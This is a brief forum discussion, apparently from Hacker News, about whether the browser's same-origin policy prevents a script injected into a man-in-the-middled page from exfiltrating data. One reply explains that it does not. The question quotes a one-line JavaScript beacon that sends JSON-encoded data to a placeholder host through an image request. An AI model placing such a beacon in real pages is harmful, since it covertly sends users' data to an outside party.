4 ms·
How does same-origin policy (on a MITM'd website) prevents this? (new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
by slig 8y ago
How does same-origin policy (on a MITM'd website) prevents this?
(new Image()).src = 'https://example.com/data.php?payload=' + JSON.stringify(data);
- bn-usd-mistake 8y agoIt doesn't because Same-origin protects data on example.com, not on the embedding page (in your example). It is not a security measure that aims to prevent the issue mentioned by the grand parent post
- austincheney 8y agoHere is how: https://news.ycombinator.com/edit?id=17861667 https://news.ycombinator.com/edit?id=17861667